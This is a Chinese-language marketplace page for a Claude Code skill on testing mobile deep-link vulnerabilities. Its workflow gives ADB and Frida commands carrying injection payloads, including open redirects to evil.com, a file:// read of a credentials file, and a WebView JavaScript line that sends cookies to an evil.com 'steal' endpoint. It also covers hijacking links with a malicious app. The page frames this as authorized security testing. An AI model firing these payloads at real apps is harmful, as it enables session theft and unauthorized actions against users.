mcpField
E
exploiting-deeplink-vulnerabilities

exploiting-deeplink-vulnerabilities

github.com/mukul975安全35.2k145 次安装8 周前更新
代码仓库

关于 exploiting-deeplink-vulnerabilities

用于评估移动应用深层链接安全性的技能,指导测试 Android 与 iOS 的链接处理、参数验证和链接劫持风险。流程涵盖清点入口、注入测试及 WebView 检查,须获授权后使用。

主要功能

  1. 01枚举 Android 与 iOS 深层链接入口
  2. 02测试链接参数注入
  3. 03检查链接劫持风险
  4. 04评估 WebView 加载行为
  5. 05检查参数验证与授权

适用场景

  1. 01检查自定义 URL Scheme 的未授权访问
  2. 02测试链接参数中的重定向与注入
  3. 03评估 App Links 和 Universal Links 验证
  4. 04检查深层链接加载网页的 WebView 风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-deeplink-vulnerabilities

安装后在 Claude Code 中输入/exploiting-deeplink-vulnerabilities确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

详细介绍

利用深度链接漏洞

何时使用

在以下情况下使用本技能:

  • 评估移动应用深度链接处理中的注入和重定向漏洞
  • 测试 Android intent filter 和 iOS URL scheme 处理器是否存在未授权访问
  • 评估 App Links(Android)和 Universal Links(iOS)验证
  • 测试通过竞争性应用注册进行的链接劫持

未经授权请勿使用 —— 深度链接利用可能会在目标应用中触发非预期操作。

前提条件

  • 装有 ADB 的 Android 设备,或装有 Objection/Frida 的 iOS 设备
  • 使用 apktool 或 JADX 反编译的 APK,用于分析 AndroidManifest.xml
  • 了解目标应用注册的 URL scheme 和 intent filter
  • 用于 Android intent 测试的 Drozer
  • 用于拦截深度链接触发 API 调用的 Burp Suite

工作流

步骤 1:枚举深度链接入口点

Android - 从 AndroidManifest.xml 提取:

# Decompile APK
apktool d target.apk -o decompiled/

# Search for intent filters with deep link schemes
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml

# Look for:
# <data android:scheme="myapp" android:host="action" />
# <data android:scheme="https" android:host="target.com" />

iOS - 从 Info.plist 提取:

# Extract URL schemes
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"

# Extract Universal Links (Associated Domains)
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
# Check: applinks:target.com

# Verify apple-app-site-association file
curl https://target.com/.well-known/apple-app-site-association
步骤 2:测试深度链接注入

通过 ADB 测试 Android:

# Basic deep link invocation
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://dashboard?user_id=1337" com.target.app

# Test with injection payloads
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://profile?redirect=https://evil.com" com.target.app

# Test path traversal
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://navigate?path=../../../admin" com.target.app

# Test JavaScript injection (if loaded in WebView)
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app

# Test with extra intent parameters
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://transfer?amount=1000&to=attacker" \
  --es extra_param "injected_value" com.target.app

通过 Safari 或命令行测试 iOS:

# Trigger URL scheme from Safari
# Navigate to: myapp://dashboard?user_id=1337

# Using Frida to invoke
frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
  .openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'
步骤 3:测试链接劫持

Android:

# Create a malicious app that registers the same URL scheme
# AndroidManifest.xml of attacker app:
# <intent-filter>
#   <action android:name="android.intent.action.VIEW" />
#   <category android:name="android.intent.category.DEFAULT" />
#   <category android:name="android.intent.category.BROWSABLE" />
#   <data android:scheme="myapp" />
# </intent-filter>

# When both apps are installed, Android shows a chooser dialog
# On older Android versions, the first-installed app may handle the link

# Check App Links verification (prevents hijacking)
adb shell pm get-app-links com.target.app
# Status: verified = secure
# Status: undefined = vulnerable to hijacking
步骤 4:测试 WebView 深度链接加载
# If deep links load URLs in WebView, test for:
# 1. Open redirect
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app

# 2. File access
adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"

# 3. JavaScript execution in WebView
adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"
步骤 5:评估参数验证

测试每个深度链接参数是否存在:

  • 在查询本地数据库的参数中的 SQL 注入
  • 文件路径参数中的路径遍历
  • 触发服务器请求的 URL 参数中的 SSRF
  • 通过 user_id 或 session 参数绕过身份验证

关键概念

术语定义
自定义 URL Scheme应用注册的协议(myapp://),在被调用时路由到特定的应用处理器
App Links(Android)经过验证的 HTTPS 深度链接,可绕过选择器对话框并直接在已验证的应用中打开
Universal Links(iOS)Apple 的经过验证的深度链接,使用 Web 域上的 apple-app-site-association JSON 文件
Intent 劫持恶意应用通过注册相同的 URL scheme 或 intent filter 来拦截深度链接
WebView 桥接暴露给 WebView 内容的 JavaScript 接口,可能通过深度链接加载的 URL 访问

工具与系统

  • ADB:Android 命令行工具,用于通过 am start 调用深度链接
  • Drozer:Android 安全框架,用于测试基于 intent 的攻击面
  • apktool:APK 反编译器,用于提取 AndroidManifest.xml 和 intent filter 定义
  • Frida:动态插桩工具,用于在运行时 hook URL scheme 处理器
  • Burp Suite:代理工具,用于拦截深度链接导航触发的 API 调用

常见陷阱

  • App Links 验证:具有已验证域关联的 Android App Links 能够抵抗劫持。请检查 https://domain/.well-known/assetlinks.json 处的 assetlinks.json。
  • Fragment 处理:某些应用处理 URL fragment(#)的方式与查询参数(?)不同。请同时测试两者。
  • 编码绕过:对 payload 进行 URL 编码,以绕过深度链接处理器中的客户端输入过滤。
  • 多步骤深度链接:某些深度链接需要身份验证状态。请在登录后和登录前分别测试,以评估授权执行情况。

评论

支持 Markdown